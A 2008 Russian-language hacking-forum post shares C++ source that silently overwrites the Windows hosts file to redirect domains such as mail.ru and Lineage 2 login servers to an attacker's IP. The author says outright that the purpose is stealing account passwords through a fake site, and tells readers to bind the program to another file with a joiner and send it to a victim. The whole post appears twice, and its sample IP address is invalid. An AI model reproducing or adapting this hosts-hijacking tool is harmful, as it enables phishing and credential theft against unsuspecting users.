Loker
12.03.2008, 00:31
Вот написал не сложную программу которая делает переадресацию с указанного сайта на другой. В адрессной сторке браузера отображаеться тот адрес который ввел пользователь. Очень удобно использовать для получения пароля от аккаунта через фейк сайт.
//---------------------------------------------------------------------------
#pragma hdrstop
#include <windows.h>
#include <iostream.h>
#include <winbase.h>
#include <fstream.h>
//---------------------------------------------------------------------------
#pragma argsused
int main(int argc, char* argv[])
{
ofstream outfile("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
outfile << "# Copyright (c) 1993-1999 Microsoft Corp."<<endl
<<"# This is a sample HOSTS file used by Microsoft TCP/IP for Windows."<<endl
<<"#"<<endl
<<"# This file contains the mappings of IP addresses to host names. Each"<<endl
<<"# entry should be kept on an individual line. The IP address should"<<endl
<<"# be placed in the first column followed by the corresponding host name."<<endl
<<"# The IP address and the host name should be separated by at least one"<<endl
<<"# space."<<endl
<<"#"<<endl
<<"# Additionally, comments (such as these) may be inserted on individual"<<endl
<<"# lines or following the machine name denoted by a '#' symbol."<<endl
<<"#"<<endl
<<"# For example:"<<endl
<<" "<<endl
<<"# 102.54.94.97 rhino.acme.com # source server"<<endl
<<"# 38.25.63.10 x.acme.com # x client host"<<endl
<<"127.0.0.1 antichat.ru"<<endl
<<"# 127.0.0.1 l2testauthd.lineage2.com"<<endl
<<"# 127.0.0.1 l2authd.lineage2.com"<<endl
<<"# 89.108.84.103 nprotect.lineage2.com"<<endl
<<endl
<<endl
<<"127.0.0.1 serial.alcohol-soft.com #Alcohol Serial Check blocken"<<endl
<<"80.71.255.10 l2testauthd.lineage2.com"<<endl;
return 0;
}
<<"127.0.0.1 antichat.ru"<<endl - собственно вот эта строка делает переадресацию. Если на до добавить переадрессацию с www.mail.ru на фейк например www.yousite.ru, копируем эту строчку и меняем в ней
127.0.0.1 на ИП сайта на который вам нужно чтобы переходил пользователь, а antichat.ru на имя www.mail.ru- т.е. сайт с которого будет переходить.
В конце концов получаете такую вещь:
<<"88.909.125.324 www.mail.ru"<<endl
Как работает:
Компилируем в борланд СИ.
Если хотим с помощью джойнера прикрепляем к чему либо.
Посылаем жертве.
Если че прошу не ругать))
//---------------------------------------------------------------------------
#pragma hdrstop
#include <windows.h>
#include <iostream.h>
#include <winbase.h>
#include <fstream.h>
//---------------------------------------------------------------------------
#pragma argsused
int main(int argc, char* argv[])
{
ofstream outfile("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
outfile << "# Copyright (c) 1993-1999 Microsoft Corp."<<endl
<<"# This is a sample HOSTS file used by Microsoft TCP/IP for Windows."<<endl
<<"#"<<endl
<<"# This file contains the mappings of IP addresses to host names. Each"<<endl
<<"# entry should be kept on an individual line. The IP address should"<<endl
<<"# be placed in the first column followed by the corresponding host name."<<endl
<<"# The IP address and the host name should be separated by at least one"<<endl
<<"# space."<<endl
<<"#"<<endl
<<"# Additionally, comments (such as these) may be inserted on individual"<<endl
<<"# lines or following the machine name denoted by a '#' symbol."<<endl
<<"#"<<endl
<<"# For example:"<<endl
<<" "<<endl
<<"# 102.54.94.97 rhino.acme.com # source server"<<endl
<<"# 38.25.63.10 x.acme.com # x client host"<<endl
<<"127.0.0.1 antichat.ru"<<endl
<<"# 127.0.0.1 l2testauthd.lineage2.com"<<endl
<<"# 127.0.0.1 l2authd.lineage2.com"<<endl
<<"# 89.108.84.103 nprotect.lineage2.com"<<endl
<<endl
<<endl
<<"127.0.0.1 serial.alcohol-soft.com #Alcohol Serial Check blocken"<<endl
<<"80.71.255.10 l2testauthd.lineage2.com"<<endl;
return 0;
}
<<"127.0.0.1 antichat.ru"<<endl - собственно вот эта строка делает переадресацию. Если на до добавить переадрессацию с www.mail.ru на фейк например www.yousite.ru, копируем эту строчку и меняем в ней
127.0.0.1 на ИП сайта на который вам нужно чтобы переходил пользователь, а antichat.ru на имя www.mail.ru- т.е. сайт с которого будет переходить.
В конце концов получаете такую вещь:
<<"88.909.125.324 www.mail.ru"<<endl
Как работает:
Компилируем в борланд СИ.
Если хотим с помощью джойнера прикрепляем к чему либо.
Посылаем жертве.
Если че прошу не ругать))